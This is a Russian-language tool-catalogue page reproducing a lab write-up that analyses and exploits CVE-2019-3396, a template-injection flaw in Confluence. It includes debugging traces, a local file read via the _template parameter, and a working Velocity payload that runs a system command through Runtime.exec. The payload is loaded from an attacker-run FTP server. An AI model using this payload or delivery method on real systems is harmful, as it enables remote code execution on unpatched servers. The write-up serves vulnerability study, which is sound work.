Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-3396 — Пошаговое руководство по анализу и эксплуатации CVE-2019-3396, критической уязвимости типа SSTI в Confluence Server & Data Center, включая отладку и выполнение RCE-пэйлоадов. | Kitploit
Инструменты/GitHubGitHub/tranphuc2005/cve-2019-3396
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

Пошаговое руководство по анализу и эксплуатации CVE-2019-3396, критической уязвимости типа SSTI в Confluence Server & Data Center, включая отладку и выполнение RCE-пэйлоадов.

Репозиторий
11 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-3396

🔎 Основная информация:

  • Затронутый продукт: Confluence Server & Data Center

  • Уязвимые версии: с 6.0.0 по 6.15.4

  • Серьезность: Critical (CVSS ~9.8)

  • Причина:

    • В Confluence есть плагин Widget Connector (используется для встраивания видео, внешнего контента, такого как YouTube, Vimeo...).

    • Эта функция не контролирует должным образом вводимые пользователем данные, что приводит к Server-Side Template Injection (SSTI).

    • Злоумышленник может отправить вредоносную нагрузку → Confluence обрабатывает её с помощью шаблонизатора Velocity → выполнение кода на сервере.

1. Установка и запуск веб-сайта

  • Установка уязвимой версии, например 6.9.0:
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • Выполните шаги по настройке согласно инструкции
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • После успешной установки мы увидим интерфейс

1

2. Поиск уязвимого места и отладка

2.1 Поиск уязвимого места

  • Согласно PoC, уязвимая функция находится в части Widget Connector (используется для встраивания видео, внешнего контента, такого как YouTube, Vimeo...)
  • Выполним поиск этой функции:
  1. Выберите раздел Other macros

1

  1. Выполните поиск инструмента разрешения Widget Connector

1

  1. Введите ссылку и заполните требуемую информацию, затем выберите Preview

1

2.2 Настройка для отладки

  • Поскольку в описании упоминается Widget Connector, попробуем поискать в папке исходников Confluence

1

  • Откроем файл .jar с помощью Intellij IDEA
  • Установим Breakpoint в местах обработки разрешения ссылки и выполним процесс отладки

Процесс отладки

  • Запустим отладку и установим breakpoint в com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class
  • Здесь мы видим параметры
  • Вызов класса DefaultRenderManager.class

1

  • Здесь используется функция getEmbeddedHtml()
  • Возвращает HTML-код для встраивания (embed) внешнего контента (видео, виджеты, документы и т.д.) на основе URL, вставленного пользователем в страницу Confluence
  • Отсюда вызывается функция YoutubeRenderer

1

  • Заходим в класс YoutubeRenderer
  • В этой функции getEmbeddedHtml(String url, Map<String, String> params)
  • url → исходная ссылка YouTube, введенная пользователем
  • params → карта, содержащая параметры конфигурации для рендеринга (например, ширина, высота, шаблон для рендеринга и т.д.).

1

  • Далее вызываются getEmbedUrl(), setDefaultParam() и DefaultVelocityRenderService.render()
  • Сосредоточимся на setDefaultParam()

1

  • Если _template ещё не задан → присваивается шаблон по умолчанию youtube.vm. => Можно самостоятельно добавить _template в программу

  • Далее заходим в DefaultVelocityRenderService.render()

  1. Назначение функции

    • Принимает url + параметры params.

    • Использует шаблон Velocity (.vm) для генерации HTML-кода встраивания (iframe, embed, …).

  2. Определение шаблона

    • Если в params есть _template → используется этот шаблон.

    • Если нет → используется по умолчанию embed.vm.

  3. Создаётся контекст по умолчанию с помощью MacroUtils.defaultVelocityContext().

  • Все параметры из params помещаются в контекст:

    • Если ключ = tweetHtml → сохраняется как есть (HTML).

    • В противном случае → безопасно кодируется с помощью GeneralUtil.htmlEncode().

  • В контекст добавляются urlHtml, width, height (если пусто, то по умолчанию 400 × 300).

1

  • Вызов VelocityUtils.getRenderedTemplate()

1

  • Теперь перейдём к классу VelocityUtils
  • Выше вызывались getRenderedTemplate и getRenderedTemplateWithoutSwallowingErrors()

1

  • Затем вызывается getTemplate()

1

  • Здесь templateName — это и есть _template из предыдущего шага.

  • Далее вызывается VelocityEngine.Template()

1

  • В классе VelocityEngine затем вызывается RunimeInstance.getTemplate()

1

RuntimeInstance (ядро Velocity)
Это «сердце» Velocity Engine. Оно отвечает за:

  • Инициализацию движка (init)

  • Управление конфигурацией, макросами, парсером, директивами, обработчиками событий…

  • И особенно: управление ресурсами через ResourceManager

→ Это означает, что RuntimeInstance не загружает ресурсы самостоятельно, а делегирует это resourceManager.

  • Затем вызывается CompatibleVelocityResourceManager.getResource()

1

ConfigurableResourceManager (кастомный для Confluence)
Это реализация интерфейса ResourceManager.
Она отвечает за:

  • Управление загрузчиками ресурсов (файловый загрузчик, загрузчик classpath, загрузчик URL и т.д.).

  • Управление globalCache (кэширование шаблонов по resourceKey).

  • Загрузку/обновление шаблонов (файлов .vm) по запросу от RuntimeInstance.

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • Когда ресурс есть в кэше, он не возвращается сразу, а вызывается refreshResource(...).

  • refreshResource сравнивает время lastModified на диске с тем, что в кэше.

  • Если файл изменился → ресурс в кэше становится недействительным → загружается с диска заново → обновляется кэш.

👉 Поэтому не нужно вручную менять resourceKey. Механизм обновления гарантирует, что при изменении шаблона кэш также обновится.

Добавим _template и отправим запрос снова

1

  • Мы видим список экземпляров ResourceLoader (уже инициализированных объектов) в Velocity

1

1

  • Здесь нас интересуют только FileResourceLoader и ClasspathResourceLoader

1. Для FileResourceLoader

Вызывается StringUtils.normalizePath() для предотвращения path traversal

1

  • Содержимое normalizePath показано на рисунке

1

  • Попробуем прочитать файл /WEB-INF/web.xml — видно, что файл загружен успешно.

1

  • Но выйти за пределы каталога Confluence всё равно не удаётся, так как /../ блокируется.
  • Продолжаем проверять ClasspathResourceLoader

2. ClasspathResourceLoader

1

  • Отслеживаем до ClassUtils.getResourceAsStream

1

  • Вызывается findResource() из /org/apache/catalina/loader/WebappClassLoaderBase.class

1

  • Затем вызывается super.findResource(), возвращается URL, то есть объект, который можно получить.

1

1

  • Вызывается url.openStream() для получения данных

1

  • В конечном итоге данные передаются в рендеринг Velocity.

1

  • Если в реальных случаях неизвестен конкретный путь, можно воспользоваться файловой схемой Java для получения списка каталогов

1

Исходящее соединение (outbound)

Выполняемая нагрузка

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • Вызов $runtime.exec("id") → выполняет системную команду "id" на Ubuntu.
  • Запускаем FTP-сервис с помощью команды:
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

Выполнение:

1

Скачать инструмент